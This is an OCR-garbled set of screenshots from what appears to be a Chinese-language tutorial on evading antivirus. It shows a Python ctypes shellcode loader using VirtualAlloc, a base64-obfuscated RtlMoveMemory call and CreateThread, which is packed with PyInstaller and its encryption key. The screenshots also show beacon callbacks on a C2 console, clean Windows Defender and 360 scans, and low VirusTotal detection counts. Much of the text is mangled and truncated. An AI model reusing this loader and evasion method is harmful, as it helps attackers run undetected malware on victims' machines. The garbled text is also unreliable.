B asyncio.protacols.pyc

B asyncio.pyc

B asyncio.queues.pyc

B asyncio.runners.pyc

B asyncio.selector_events.pyc
B asyncio.sslproto.pyc

B asvncio.staaaered.ovc

1

2021/6/17 11:03
2021/6/17 11:03

_ future__.pyc.encrypted
_compat_pickle.pyc.encrypted
| _compression.pyc.encrypted
_osx_support.pyc.encrypted
_py_abc.pyc.encrypted
_pydecimal.pyc.encrypted
_strptime.pyc.encrypted
_threading_local.pyc.encrypted

] argparse,pyc.encryptgﬁ s ke z@mw 16:35
| ast.pyc.encrypted y ﬁﬂ 17 16:35

Compiled Python Fi...
Compiled Python Fi...

| asyncio.base_events.pyc.encrypted

| asyncio.base_futures.pyc.encrypted

Ls L2 L

L

asyncio.base_subprocess.pyc.encrypted

asyncio.base_tasks.pyc.encrypted
asyncio.constants.pyc.encrypted

asyncio.coroutines.pyc.encrypted

| asyncio.events.pyc.encrypted

| asyncio.exceptions.pyc.encrypted

| asyncio.format_helpers.pyc.encrypted

L L s

05 IEFfEH keyZ %
IR Fl—-key SHU TN S5 (BB R 2021.06.17)

Bk LRV, pythoniTBKexe MR LMBMR, MHEMEHcython RS, KIFRF UABARR, RN 8
Mo, ERAEXERRH —SIRMAERKTE (BHREKMN

5.1 A& F --keyZ=$1

BEA RS RITHERN MRS, E— NS5 A, ﬁq:‘py_shellcode_fuzz.pyilﬁ@j(ﬁ‘lj\]%ﬂi
2, AASHHEBEAN—DIRE, test.pyRAARZXNMERH

asyncio.futures.pyc.encrypted
asyncio.locks.pyc.encrypted
asyncio.log.pyc.encrypted

asyncio.proactor_events.pyc.encrypted

asyncio.protoacols.pyc.encrypted
asyncio.pyc.encrypted

| asyncio.queues.pyc.encrypted

2021/6/17 11:03

Compiled Pvthon Fi...

5 KB
6 KB
2021/6/17 16:35
2021/6/17 16:35
2021/6/17 16:35
2021/6/17 16:35
2021/6/17 16:35
2021/6/17 16:35
2021/6/17 16:35
2021/6/17 16:35

2021/6/17 16:35
2021/6/17 16:35
2021/6/17 16:35
2021/6/17 16:35
2021/6/17 16:35
2021/6/17 16:35
2021/6/17 16:35
2021/6/17 16:35
2021/6/17 16:35
2021/6/17 16:35
2021/6/17 16:35
2021/6/17 16:35
2021/6/17 16:35
2021/6/17 16:35
2021/6/17 16:35
2021/6/17 16:35
4 KB

ENCRYPTED {4
ENCRYPTED X {4
ENCRYPTED {4
ENCRYPTED 3Z{4
ENCRYPTED X {4
ENCRYPTED {4
ENCRYPTED X{4
ENCRYPTED {4
ENCRYPTED X {4
ENCRYPTED 1%
ENCRYPTED 3Z{%
ENCRYPTED {4
ENCRYPTED {4
ENCRYPTED X {4
ENCRYPTED 324
ENCRYPTED 3%
ENCRYPTED 3Z{t
ENCRYPTED 3Z{4
ENCRYPTED {4
ENCRYPTED X{4
ENCRYPTED X{4
ENCRYPTED X {4
ENCRYPTED 34
ENCRYPTED 34

CPCRETER R L
el ke CTOWSE

2KB
3 KB
2 KB
6 KB
3KB
50 KB
8 KB
3 KB
24 KB
8 KB
22 KB
2 KB
4 KB
2 KB
1 KB
4 KB
9 KB
2KB
2KB
5KB
6 KB
1KB
10 KB
4 KB
1KB

4 KB



PYTHON

test.py

py shellcode fuzz.py:

'F;"YTH-OlI\:Ii
py_shellcode_fuz
Z.py

5 erowsse



# -*- encoding: utf-8 -*-
# Time : 2021/06/17 17:12:27
# Author: crow

import ctypes,base64

def shell():
shellcode b""
shellcode += b"\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48

shellcode = bytearray(shellcode)

# WEVirtualAllociREIZKA Nctypes.c_uint64

ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64

# HIENTREF

ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(@), ctypes.c_int(len(shellcode)), ctypes.c_int(®©

# B Ashellcode
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)

string = """Y3R5cGVzLndpbmRsbC5rZXJuZWwzMi5SdGxNb3Z1TWVtb3I5KGNOeXB1lcy5jX3VpbnQ2NChwdHIpLCBidWYsIGNOeXB
eval(base64.b64decode(string))

# BlE— AR Mshellcodefh Ik fr B & bk T #6T
handle = ctypes.windll.kernel32.CreateThread(
ctypes.c_int(9),
ctypes.c_int(9),
ctypes.c_uinté4(ptr),
ctypes.c_int(9),
ctypes.c_int(9),
ctypes.pointer(ctypes.c_int(0))
)
# S5 LB REIEIT S
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))

if _name__ == '_main__':
shell()
test.py

# -*- encoding: utf-8 -*-

# Time : 2021/06/17 17:00:27
# Author: crow

import ctypes

from py_shellcode import shell

if _name__ == '_main__':
shell()



HEPTHA:

python py_shellcode_fuzz.py

.......... - s [R— e s e i s

1 10.211.553 10.211.55.3 0612 crow CROW python.exe 5028 x64 39s

m S S @

LAEE » W » D617 exeif » new_ » no_key

D5 Store
py_shelleode fure py
testpy 2 VY
HEC Windows\system32iernd exe - python py_shelkode _fuzz py o b
i > A Ay
FERIEH, {FAtest.pyif &3 HF
i
python test.py EZRIEH
external internal - listener user computer note process pid
B 10.211.55.3 10.211.55.3 0612 crow CROW python.exe 3896
@ 9 (@ 2 4 B

El == == == (

ULFLEE > BE > 0617_exei®'i > new_> no_key >

RIS
DS _Store
& Onelrive py_shellcode_fuzzpy
a n
N 1€ t .
06/17 17:18:56 i initial be JEET ol it alutss
B86/17 17:25: wbor initial bed k)
BH
—

RGN X HATITR
BhMEHpyinstallerEEITE

pyinstaller -F --noconsole test.py

noconsole test. py

is non existent

mblies of final lllﬁﬁ‘:ﬂ{%%: crowsec




—d

T

4 test.exe 2021/6/17 17:27

22y N e

pyinstxtractor.py 2021/6/10 13:57 PY M 14

HEAEistU R T ZRK By XA

python pyinstxtractor.py test.exe

" importlib; see the "5 document

x] Successfully nstall ive: test.exe ﬁiﬁif‘é‘%:crowsec
You can now use ) mpiler o > pyc files /

;s within the ext



F1L-UU.pys_EAuaLleu
[@ _asyncio.pyd

[@ bz2.pyd

|# _ctypes.pyd

[# _decimal.pyd

[ _hashlib.pyd

[A _lzma.pyd

[# _multiprocessing.pyd
[# overlapped.pyd

[# queue.pyd

[@ socket.pyd

[@ ssl.pyd

£4 base_library.zip

1 liberypto-1_1.dlI

) libffi-7.dl

% libssl-1_1.dlIl

@ pyexpat.pyd

| pyi_rth_multiprocessing

| | pyiboot01 bootstrap
| | pyimod01_os_path
| | pyimod02_archive
|| pyimod03_importers

0 pyi-windows-manifest-filename test.exe.ma...

[ python3a.dIl
[& PYZ-00.pyz

|& selectpvd

|1 struct
|:, test

| | test.exe.manifest

o

[# unicodedata.pyd
'/ VCRUNTIME140.dlI

RPN R, ERFMFRERE

EVE I fOf 1T 1120

2021/6/17 17:28
2021/6/17 17:28
2021/6/17 17:28
2021/6/17 17:28
2021/6/17 17:28
2021/6/17 17:28
2021/6/17 17:28
2021/6/17 17:28
2021/6/17 17:28
2021/6/17 17:28
2021/6/17 17:28
2021/6/17 17:28
2021/6/17 17:28
2021/6/17 17:28
2021/6/17 17:28
2021/6/17 17:28
2021/6/17 17:28
2021/6/17 17:28
2021/6/17 17:28
2021/6/17 17:28
2021/6/17 17:28
2021/6/17 17:28
2021/6/17 17:28
2021/6/17 17:28
2021/6/17 17:28
2021/6/17 17:28
2021/6/17 17:28
2021/6/17 17:28
2021/6/17 17:28
2021/6/17 17:28

ST

Python Extension ...
Python Extension ...
Python Extension ...
Python Extension ...
Python Extension ...
Python Extension ...
Python Extension ...
Python Extension ...
Python Extension ...
Python Extension ...

Python Extension ...

360[E4E ZIP 3Zf4
RIFRfEF B
NRREFT R
RN B

Python Extension ...

X

i

i

et

i
MANIFEST 324
NFREFFY R

Python Zip Applica...
Python Extension ..

i
i
MANIFEST 3Z#4

Python Extension ..

NIFEfEFFH R

64 KB
86 KB
125 KB
264 KB
47 KB
161 KB
31 KB
47 KB
30KB
79 KB
152 KB
761 KB
3,320 KB
33 KB
674 KB
187 KB
3 KB

4 KB

2 KB

9 KB

13 KB

0 KB
4,110 KB
1,658 KB
28 KB

1 KB
1KB

2 KB
1,073 KB
92 KB

T . Al e =
N TRES

. Crowsec



. unp

iter u

. crowsec

struct test get.pyc

Al i

L EUE S crowseac

uncompyle6 get.pyc




uncompyleé version 3.7.4

Python bytecode 3.8 (3413)

Decompiled from: Python 3.8.7 (tags/v3.8.7:6503f05, Dec 21 2020, 17:59:51)
Embedded file name: \\Mac\Home\Desktop\0617 exei¥i[a]\new \no key\test.py
Compiled at: 1995-09-28 00:18:56 B -

Size of source mod 2**32: 272 bytes

import ctypes

from py shellcode fuzz import shell

if name == ' main ':

t shell ()

# okay decompiling get.pyc

[MSC =

= H H H K

W Y ==
A ST

XEMILEREpy shell fuzzFHIRNET, FICHBIEERE?
BATKRImEZJEHIPYZ-00.pyz extracted XHRILE T Zpyc .

EZR B BaE i) AN
PYZ-00.pyz_extracted 2021/6/17 17:28 I fk
[# _asyncio.pyd 2021/6/17 17:28 Python Extension ... 64 KB
[# bz2.pyd 2021/6/17 17:28 Python Extension ... 86 KB
[# ctypes.pyd 2021/6/17 17:28 Python Extension ... 125 KB
[# decimal.pyd 2021/6/17 17:28 Python Extension ... 264 KB
[# _hashlib.pyd 2021/6/17 17:28 Python Extension ... 47 KB
[# _lzma.pyd 2021/6/17 17:28 Python Extension ... 161 KB
[# multiprocessing.py 2021/6/17 17:28 Python Extension ... 31 KB
[# _overlapped.pyd 2021/6/17 17:28 Python Extension ... 47 KB
[# queue.pyd 2021/6/17 17:28 Python Extension ... 30 KB
[# _socket.pyd 2021/6/17 17:28 Python Extension ... 79 KB
[# _sslpyd 2021/6/17 17:28 Python Extension ... 152 KB
8 base_library.zip 2021/6/17 17:28 360/E4R ZIP 31 761 KB
“ liberypto-1_1.dll 2021/6/17 17:28 RIFEFERE R 3,320 KB
o libffi-7.dll 2021/6/17 17:28 NIRRT = 33 KB
) libssl-1_1.dll 2021/6/17 17:28 MR R 674 KB
[# pyexpat.pyd 2021/6/17 17:28 Python Extension ... 187 KB
| pyi_rth_multiprocessing 2021/6/17 17:28 gt 3KB
| pyiboot01_bootstrap 2021/6/17 17:28 S 4 KB
| pyimod01_os_path 2021/6/17 17:28 X4 2 KB
| pyimod02_archive 2021/6/17 17:28 S 9 KB
| pyimod03_importers 2021/6/17 17:28 ST 13 KB
| pyi-windows-manifest-filename test.exe.ma... 2021/6/17 17:28 MANIFEST 3Zf4 0 KB
“ python3a.dll 2021/6/17 17:28 RIFEFERFY R 4,110 KB
[#' PYZ-00.pyz 2021/6/17 17:28 Python Zip Applica... 1,658 KB
[# select.pyd 2021/6/17 17:28 Python Extension ... 28 KB
| struct 2021/6/17 17:28 i 1KB
_ test 2021/6/17 17:28 i 1KB
| test.exe.manifest 2021/6/17 17:28 MANIFEST 3Z{&% 2 KB
|? unicodedata.pyd 2021/6/17 17:28 Python Extension ... 1,073 KB
. VCRUNTIME140.dll 2021/6/17 17:28 NFERERFT R B
W HES: crowsec

S



» Mac » Home » Desktop » 0617 _exeiZ[a » new_ > no_key » dist » test.exe extracted » PYZ-00.pyz_extracted

e =i PRI

B multiprocessing.popen_spawn_win32.pyc 4 KB
B multiprocessing.process.pyc 11 KB
B multiprocessing.pyc 1 KB
B multiprocessing.queues.pyc 10 KB
B multiprocessing.reduction.pyc 8 KB
B multiprocessing.resource_sharer.pyc 6 KB
B multiprocessing.resource_tracker.pyc 6 KB
B multiprocessing.shared_memory.pyc 2021/6/ 15 KB
B multiprocessing.sharedctypes.pyc 2021/6/ 7 KB
B multiprocessing.spawn.pyc 2021/6/ 7 KB
B multiprocessing.synchronize.pyc 2021/6/17 8 12 KB
B multiprocessing.util.pyc 2021/6/ 28 12 KB
B netrc.pyc 2021/6/17 17:28 ) yt 4 KB
E ntpath.pyc / /17 17:28 Compiled Pytho 15 KB
E nturl2path.pyc 2021/6/17 17:28 Compiled Pythc 2 KB
F numbers.pyc 20: 17 17:28 Compiled Py 12 KB
F opcode.pyc 2021/6/17 17:28 Compiled Pyt 6 KB
P optparse.pyc AT ' 47 KB
B os.pyc 31 KB
B pathlib.pyc 43 KB
B pdb.pyc 47 KB
B pickle.pyc 46 KB
P pkoutil.pyc 16 KB
B platform.pyc 24 KB
B plistlib.pyc 27 KB
P posixpath.pyc 11 KB
P pprint.pyc 16 KB
P py_compile.pyc 8 KB
P py_shellcode_fuzz.pyc 2 KB
B pydocpyc 83 KB
P pydoc_data.pyc R y
P pydoc_data.topics.pyc 416 kB
B qveue nue 11 KR

Xt iZpyc A BT R

uncompyle6 py shellcode fuzz.pyc

in <module
|i|||'
utfil
in main

» from file object

& 14152 crowsec

e, XEMAH0L0 editors i Fpyc X



B Sget.pycX A, XEDT AT, FFEENHTI 2

py_shellcode_fuzz.pyc x

o 155 crowsec

%iﬁiﬁﬁﬂﬂnewipyishel l.pyc



uct test get.pyc py_shellcode_fuzz.pyc new_py_shell.pyc x

Edit As: Hex Run Script Run Template

55 0D OA 00 00 00|70 79 00 00
E3 00 00 00 00 00 00 00 00 00
00 02 00/ 00 40 00 00 F3 64 00
64 01 00 5A 00 00|64 01 64 02
64 03 00 5A 02 03|64 04 65 02
83 00 00 64 01 00|29 05 00 4E
63 00 00/ 00 00 00 00 00 00 00
00 OC 00 00 43 00 00 F3 64 01
7D 00 00 64 02 00 7D 00 83 01
7D 00 01 6A 02 01 6A 03 SF 06
74 01 03 6A 04 05 74 01 Al 01
74 01 07 74 08 00 83 01 AQ 07
64 04 01 74 01 07 64 05 1 7D 01
74 01 09 74 08 00 83 01 7C 00 |
Al 01 0264 06 03 74 0B 7C 03 }
Al 01 01 01 00 01 6A 03 74 01 t
AQ0 07 03/A1 01 01 A0 07 74 01 5Glo flolBe  okls o
A0 02 01 A1 01 01 A0 07 74 01 slloffo®o o@lof g
=
}

(SRS S S W™ T o o N SR

A0 07 03 Al 01 01 A0 OF ] 64 03 ~18lg
Al 01 01 Al 06 04|74 01 A0 10 Mool
74 01 07 7C 04 01|74 01 Al 01 £
Al 02 00 64 00 00|29 08 00 00 d 5 g
F3 00 00 FE 83 E4 FO E 00 41 ﬁ@_m‘

52 31 D2 65 48 8B QAPRQ %I’OWSEC

8B 8B 72 50 417 R.H<R H<rPH. -JJM

5 0BoIoTa
;.L. .d.;.

P AT R

uncompyle6 new py shell.pyc

(O \xb7J M1\ x
HJL 00" x( J[[I

VKO0 N x00M1 Y\ x ¢t
\xd 1|| x89\xc6H
x00% %00\ x
il | | ||| I"I
{ [.r| )| PY%@ )
I"I'\’“ AN II\ |

/ H %89\ xda
flﬂﬂav%- Qrowsec

BRSO R AF TR

uncompyle6 new_py shell.pyc > new_shell.




AR LR Sy (]

1 B get tem. py &3 B asy 23 ASY. B she 1o, py 4 B e, py 3 B shell key. py £3 B py_shellcode, py £3 B8 py_shellcode f I B 1 Ed B new_shell.pyE
= 'JI‘L"I‘IL fle6é version 3.7.4
lr)[l }.\ t(. = 3 (34173

7:6503f05, Dec 21 2020, 17:59:51) [MSC wv.l

size of source
import ctypes, base&d

def shell ():
shellcode = "'
shellcode += b'‘\xfcH 33\ xed\xf0\xeB\xc8\x00\x00\x00AQAPROQVH] \xd2eH\x8bR "H\x8bR\x18H\x8bR H\x8LrPH

shellcode bytearray{shellcode)

ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c uintéd

ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c int(0), ctypes.c int(len(shellcode)), ctypes.c
buf = (Ctypes c_char * len(shellcode}) from buffer(shellcode)

string = 'Y3R5cGVzLndpbmRsbC5rZXJuZWwzMi5SdGxNE 1TWVtb3J5KGN0eXBley 5] X3VpbnQ2NChwdHIpLCBidWYsIGN
eval (base6d. b64decode(str1ng))

handle = ctypes.windll.kernel32.CreateThread(ctypes.c _int(0), ctypes.c int(0), ctypes.c uinté4 (ptr

ctypes.windll.kernel32.WaitForSingleObject (ctypes.c int (handle), ctypes.c int(-1))

if name == ' main ':
shell ()
f okay <:Ic'.-(:-:'.-.'n_::i ] i|"_:_1 new py shell.pyc
B (=) =% K
getpyc 2021/6/17 18:02 S
test.exe_extracted 2021/6/17 17:28 I {Hste
.DS_Store 2021/6/17 22:35 DS_STORE Mt 7 KB
pyinstxtractor.py 2021/6/10 13:57 PY 3244 13 KB
| test.exe 2021/6/17 17:27 i EBFEF 6,531 KB
EH windows Defender — a

B3k 26 MBI, SERATT:
J AT IR | TEARAERI NI TR, ® REQ)
(REEBRTE RS BRI,

- O =2/
O B8ENC
@) CRTHR: b= IZENEE(S)

7 IRETNEIRIRIFEN: 6 KAuelE

LR SO (58 A VT 2 A% 9 3K
VT &R



https://www.virustotal.com/gui/file-analysis/MWM3N2M3NmEXNjh1ZmZkMDNmZDZKMTY2MzU1YWZjMzI6MTYyMzkOMTQwWMQ==/d

9240070902e457dabasb7c5c4eBdd752019831fhBeb02eb 7o dfE 2a7d1597 19 Q,

T

(1) 8 security vendors flagged this file as malicious

9240070902e457dabasb?cScdeBdd 752019831 b8es02eb 7o 46 2aRdf1SO TG 6.38MB 2021-06-17 14:50:01UTC %
testexe Size 1 momarnt ago EXE
=
&dbits bly  iwalid-rich-pe-linker-version  overlay  peexe
X Community o
Score
DETECTION DETAILS BEHAVIOR COMMUNITY
Crowdsourcad YARA Rules
Matches rule Pylnstaller by @bartblaze from ruleset Pylnstaller at hitps://github.com/bartblaze/Yara-rules

Ly identifies executable converted using Pyinstaller

AhnLab-V3 (_I) Trojan/Win.Generic. 4448530 Antiy-AVL L') Trojan/Generic. ASMalws 3294072
Securafge APEX (D) Malicious Cynet (1) Malicious (score: 100)

Gridinsoft ;D Trojan Winéd.CoinMiner.oals Kaspersky :T‘ HEUR:Trojan Win32.Generic

Microsoft (1) Program-Win32/Wacapew.Clm Zillya (1) TrojanBadurWin32.34336

Acranis ) Undetected Ad-Aware (+) Undetected

AegisLab (%) Undetected Alibaba (+) Undstected

AlYac | Undetected Arcabit Undetected

Avast Undetected Avira (no cloud) | Undetected

Baidu (+) Undetected BitDefender Undetected

BitDefenderTheta Undetected EBkav Pro = o Ser

CAT-QuickHeal Undetected Clamay

5.2 pyinstallerfs ff] --keyZ $3T . exe
7t E 3 pyinstallerdt - - ke y S8 ASHR B EREAT T n%, HBEXBXAEH--keyZHEHITE—T:

pyinstaller -F --key crowcrow --noconsole test.py



1 LIZWVINQoOWs\SYSTEM3£\CMma.exe

INFO: Warnings written to K:\Desktop\0617 exei¥f[n]\new \key\build\test\warn—-test. txt
INFO: Graph cross-reference written to K:\Desktop\0617 exei¥[A]\new \key\build\test\xref-test. html
[NFO: checking PYZ
[NFO: Buildi PYZ because PYZ-00. toc is non existent
INFO: Buildi PYZ (Z1ibArchive) K:\Desktop\0617 ex ew \key\build\test\PYZ-00. pyz
[NFO: 1 i PYZ (ZlibArchive) K:\Desktop\0617 exei¥] \key\build\test\PYZ-00. pyz completed successful
INFO: checking PKG
INFO: Buildi PKG because PKG-00.toc is non existent
[NFO: Buildi PKG (CArchive) PKG—00.pkg
INFO: Building PKG (CArchive) PKG-00.pkg completed successfi
[NFO: Bootloader c:\python\lib\site-packages\PyInstaller\bootloader\Windows—-64bit\runw. exe
[NFO: checking EXE
INFO; Building EXE because EXE-00. toc is non existent
[NFO: Bui g EXE from EXE-00. toc
10968 INFO: Copy icons from [ c:\\python\\1lib ite-packages\\PyInstaller\\bootloader'\images\\icon—windowed. i
10968 INFO: Wri ‘T GROUP_ICON 0 resource with 104 bytes
68 INFO: Writi T _ICON 1 resource with 3752 by
[NFO: Writing RT_ICON 2 resource with 2216
INFO: Writing RT ICON 3 resource with 1384 b
INFO: Writing RT_ICON 4 resource with 38188 byt
[NFO: Writi T _ICON 5 resource with 9640 bytes
10984 INFO: Writi T ICON 6 resource with
10984 INFO: Writing RT ICON 7 resource with 28 ;
11031 INFO: Updating manifest in K:\Desktoph\0617 al\new \key\build\test\runw. exe. mj255zny
11031 INFO: Updating resource type 24 name 1

11062 INFO: Appending archive to EXE K:\Desktor _- ) [M\new \key\dist\test. exe %%&1‘%‘%: crowsec
12218 INFO: Building EXE from

H: \Desktop\0617_exei# [a]\new_\key\dist>python pyinstxtractor.py test.exe
pyinstxtractor. 86: DeprecationWarning: the imp module is deprecated in favour of importlib; see the module’ s doc
ation for alternative uses
import imp

Processine

Pyvinsta

Python

Length ickage: 6433355 bytes

Found 32 file CArchive

Beginning extraction...please standby

Possible entry point: pyiboot0l1_bootstrap

Possible entry point: pyi _rth multiprocessing

Possible entry poin test

Found 223 files in PYZ

Error: Failed to decompress future_, probably encrypted. Extracting as

Error: Failed to dec s _compat_pickle, probably encrypted. Extracting

Error: Failed to decompress compression, probably encrypted. Extractir

Error: F: to decom 38 _0s8X_support, probably encrypted. Extract

Error: Fai to decompres: y_abc, probably encrypted. Extracting as is.

Error: Failed to decompress cimal, pre v encrypted. Extracting as is.

Error: Failed to decompress _strptime, probably encrypted. Extractin i

Error: Failed to decompress threading local hab encrypted. Extra

Error: Failed to decompress argpa »d. Extracting as

Error: Fai to decompr : y 7 racting as is.

Error: Failed to dec ess ¢ k enerypted. Extracting as

Error: Failed to decompress ¢ ). base_events, probably encrypted. Extracti
Er
Er
Er

ror: Failed to decompress : i0. base_subprocess, probably encrypted.
ror: d to decompress mcio. base 5, probably encrypted. Extrac

ror: i to :0mp1 as .base futures, probably ypted. ]Eer:al-:'l inz;ln %ﬁ”—g% crowsec
t xtracting W& 1. b




You can now

H: A

X ELIZ R R, i B RS !

-.——il test.exe 2021/6/17 18:07 N R 6,
pyinstxtractor.py 2021/6/10 13:57 PY 3244
test.exe_extracted 2021/6/17 22:23 i
BN C:\Windows\system32\cmd.exe O BES: crowsec
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> Mac » Home > Desktop » 0617_exej¥[@ » new_ > key » dist > test.exe_extracted »

Fa

R

PYZ-00.pyz_extracted
_asyncio.pyd
_bz2.pyd

_ctypes.pyd
_decimal.pyd
_hashlib.pyd
_lzma.pyd
_multiprocessing.pyd
_overlapped.pyd
_queue.pyd
_socket.pyd

_ssl.pyd
base_library.zip
libcrypto-1_1.dll
libffi-7.dll

libssl-1_1.dll
pyexpat.pyd
pyi_rth_multiprocessing
pyiboot01_bootstrap

DoDDwEZEwwwwwwywewww

pyimod00_crypto_key
pyimod01_os_path
pyimod02_archive

¢ Lo

pyimod03_importers

NN

&

python38.dll
PYZ-00.pyz
select.pyd

struct
test \

test.exe.mani

tinyaes.cp38-win_amd
unicodedata.pyd
VCRUNTIME140.dll

2w D00 WA

BRI XM final .pyc

pyi-windows-manifest-filename test.exe.ma...

e B

2021/6/17 22:23
2021/6/17 22:23
2021/6/17 22:23
2021/6/17 22:23
2021/6/17 22:23
2021/6/17 22:23
2021/6/17 22:23
2021/6/17 22:23
2021/6/17 22:23
2021/6/17 22:23
2021/6/17 22:23
2021/6/17 22:23
2021/6/17 22:23
2021/6/17 22:23
2021/6/17 22:23
2021/6/17 22:23
2021/6/17 22:23
2021/6/17 22:23
2021/6/17 22:23
2021/6/17 22:23
2021/6/17 22:23
2021/6/17 22:23
2021/6/17 22:23
2021/6/17 22:23
2021/6/17 22:23
2021/6/17 22:23
2021/6/17 22:23
2021/6/17 22:23
2021/6/17 22:23
2021/6/17 22:23
2021/6/17 22:23
2021/6/17 22:23
2021/6/17 22:23

=5
i

Python Extension ...
Python Extension ...
Python Extension ...
Python Extension ...
Python Extension ...
Python Extension ...
Python Extension ...
Python Extension ...
Python Extension ...
Python Extension ...

Python Extension ...

360/%48 ZIP 3f¥
NFEEFT R
FEEFT R
R R

Python Extension ...

i

X

it

M5

e

5
MANIFEST 3Zf4
RIFRERY R

Python Zip Applica...
Python Extension ...

M4
Mt
MANIFEST 3Zf4

Python Extension ...
Python Extension ...

NEEFTRE

PN

64 KB
86 KB
125 KB
264 KB
47 KB
161 KB
31 KB
47 KB
30 KB
79 KB
152 KB
761 KB
3,320 KB
33 KB
674 KB
187 KB
3 KB

4 KB
1KB

2 KB
9KB

13 KB

0 KB
4,110 KB
1,662 KB
28 KB
1KB
1KB

2 KB

40 KB
1,073 KB

pam
';I’
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uncompyle6 final.pyc

R 1SS crowsec

X B B R — R, E%U\pyishellcodeifuzz*ﬂﬁﬁTshell@%ﬁ(o kR E X
i&py_shellcode_fuzz.pychﬁ:o

@%iggﬁﬂy\ﬁﬁpyishellcodeifuzz .pyc E?é?ﬁﬂﬂ%%ﬁﬁ?pyishellcodeifuzz .pyc.encryptedX
frag o



» Mac » Home » Desktop » 0617_exei¥ifdl » new_ > key » dist » test.exe_extracted » PYZ-00.pyz_extracted

g i

e e e e e e

L ¢ L7 Lo

Lo

~

SENAE RS R

multiprocessing.sharedctypes.pyc.encrypted

multiprocessing.spawn.pyc.encrypted

multiprocessing.synchronize.pyc.encrypted

multiprocessing.util.pyc.encrypted
netrc.pyc.encrypted
ntpath.pyc.encrypted
nturl2path.pyc.encrypted
numbers.pyc.encrypted
opcode.pyc.encrypted
optparse.pyc.encrypted
os.pyc.encrypted
pathlib.pyc.encrypted
pdb.pyc.encrypted
pickle.pyc.encrypted
pkgutil.pyc.encrypted
platform.pyc.encrypted
plistlib.pyc.encrypted
posixpath.pyc.encrypted

pprint.pyc.encrypted

S R R TR SR

py_shellcode_fuzz.pyc.encrypted

|
0
0
Ll
U
L]
(&
O
U
L
L
L
U

BZSCHERH010 editor$TH, BREXELEI, ZXHEEBME, LEMFHuncompyleo Xt HiFITHE,

pydoc.pyc.encrypted
pydoc_data.pyc.encrypted
pydoc_data.topics.pyc.encrypted
queue.pyc.encrypted
quopri.pyc.encrypted
random.pyc.encrypted
runpy.pyc.encrypted
secrets.pyc.encrypted
selectors.pyc.encrypted
shlex.pyc.encrypted
shutil.pyc.encrypted
signal.pyc.encrypted
socket.pyc.encrypted

socketserver.pyc.encrypted

2021/6/17 22:23
2021/6/17 22:23
2021/6/17 22:23
2021/6/17 22:23
2021/6/17 22:23
2021/6/17 22:23
2021/6/17 22:23
2021/6/17 22:23
2021/6/17 22:23
2021/6/17 22:23
2021/6/17 22:23
2021/6/17 22:23
2021/6/17 22:23
2021/6/17 22:23
2021/6/17 22:23
2021/6/17 22:23
2021/6/17 22:23
2021/6/17 22:23
2021/6/17 22:23
2021/6/17 22:23
2021/6/17 22:23
2021/6/17 22:23
2021/6/17 22:23
2021/6/17 22:23
2021/6/17 22:23
2021/6/17 22:23
2021/6/17 22:23
2021/6/17 22:23
2021/6/17 22:23
2021/6/17 22:23
2021/6/17 22:23
2021/6/17 22:23
2021/6/17 22:23
2021/6/17 22:23
2021/6/17 22:23

%8

ENCRYPTED it
ENCRYPTED it
ENCRYPTED 3Z{4
ENCRYPTED {4
ENCRYPTED 3Z{%
ENCRYPTED 324
ENCRYPTED 3Z{%
ENCRYPTED 32{4%
ENCRYPTED 3Z{%
ENCRYPTED 3244
ENCRYPTED 3Z{%
ENCRYPTED 3744
ENCRYPTED 37{4
ENCRYPTED 3244
ENCRYPTED 32{4
ENCRYPTED 3744
ENCRYPTED 3744
ENCRYPTED 37{%
ENCRYPTED 3Z{4
ENCRYPTED IZ{t
ENCRYPTED 3Z{4
ENCRYPTED it
ENCRYPTED it
ENCRYPTED 3{&%
ENCRYPTED 3Z{%
ENCRYPTED {5
ENCRYPTED {4
ENCRYPTED 3Z{%
ENCRYPTED 3Z{4%
ENCRYPTED 3244
ENCRYPTED 374
ENCRYPTED 3744
ENCRYPTED 3744
ENCRYPTED 374
ENCRYPTED 37{&
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K

4 KB
4 KB
5 KB
6 KB
3KB
7KB
1KB
4 KB
3KB
19 KB
13 KB
17 KB
21 KB
19 KB
8 KB
12 KB
12 KB
6 KB
7 KB
4 KB
2KB
37 KB
1KB
121 KB
4 KB
4 KB
10 KB
5 KB
2KB
7 KB
4 KB
17 KB
2 KB

9 KB
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& L4152 crowsec
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external internal = listener user computer note Process pid arch
& 10211553 10.211.55.3 0612 crow CROW test.exe 4428 x64
ece Windows 10 [T B-NONC Y3 Qo « %
= | dist - =} x
it BRSNS U]
= w * @5 » Mac » Home » Desktop » 0617_exeillty » new_ » key » dist » v & WEdist y-]
final_py

testexe_extracted
06 _Store

9KB

13 KB

prinstxtracton py 2021/

e testaxe 202115,

= Home on “Mac'
S IR IC)

WIHF LA &k GBS E): 2021.06.17)

B AR : Windows defenderd]id. (MRt 1a]: 2021.06.17)



test.exe_extracted 2021/6/17 22:35 Mk

.DS_Store 2021/6/17 22:35 DS_STORE 3Z{§ 9 KB

| pyinstxtractor.py 2021/6/10 13:57 PY 1% 13 KB

u test.exe 2021/6/17 18:07 R FEFERR 6,554 KB
[ windows Defender N - 0 X

BKE: SEP

E5ehk 27 MRBRYEHE. BRI
FREETES | E(ReVE RN . ® RiEQ)
@)=F3"1(e)]
@ RHE: b=d IZEDISHE(S)

O METNENRIUSEN: 6 KAudlE

O, e Jmm e

final_py 2021/6/17 22:29 ik

test.exe_extracted 2021/6/17 22:35 i

.DS_Store 2021/6/17 23:02 DS_STORE M 9 KB
| | pyinstxtractor.py 2021/6/10 13:57 PY 3Z{% 13 KB
|4 testexe 2021/6/17 18:07 RIFEFER 6,554 KB

€ 360522 D112 #5
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FAYRR FEEFR BB AR Rpleg ffthnE TheEX = BHER

Hi7ERL | RERMASHS

NRBWPFEETNEN. SEHEFSESOE , AI=EREIEERNRIRRE
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https://www.virustotal.com/gui/file/c2b081a565dbd4848eff43a9bae@dadda5cd8945f12b053470484cdb2df838fc/detect



(1) &security vendors flagged this file as malicious e j
c2b081a565dbda84 8eff4 3avbaeldaddascdi?45M12b053470484cdb2df838fc 6.40 MB 2021-06-17 14:45:51 UTC %
testexe Size 1 minute ago EXE
?
